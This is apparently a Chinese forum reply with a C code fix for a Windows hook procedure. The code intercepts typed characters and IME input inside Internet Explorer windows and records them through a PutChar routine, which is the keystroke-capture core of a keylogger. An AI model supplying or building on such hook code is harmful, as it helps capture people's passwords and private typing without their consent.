这个函数没错!去改改 函数HookProc()
把头一个if下改成下面的: if(uiMessage ==WM_CHAR || uiMessage ==WM_IME_CHAR)
{
unsigned char mychar;
mychar=(unsigned char)wParam;
//MessageBox(NULL,"是IE窗口内的输入","ie",MB_OK);
if(uiMessage ==WM_IME_CHAR)
{
PutChar((unsigned char)(wParam>>8));
PutChar((unsigned char)wParam);
}
if(uiMessage==WM_CHAR&&(mychar<=122&&mychar>=65))PutChar(mychar);

return TRUE;


    }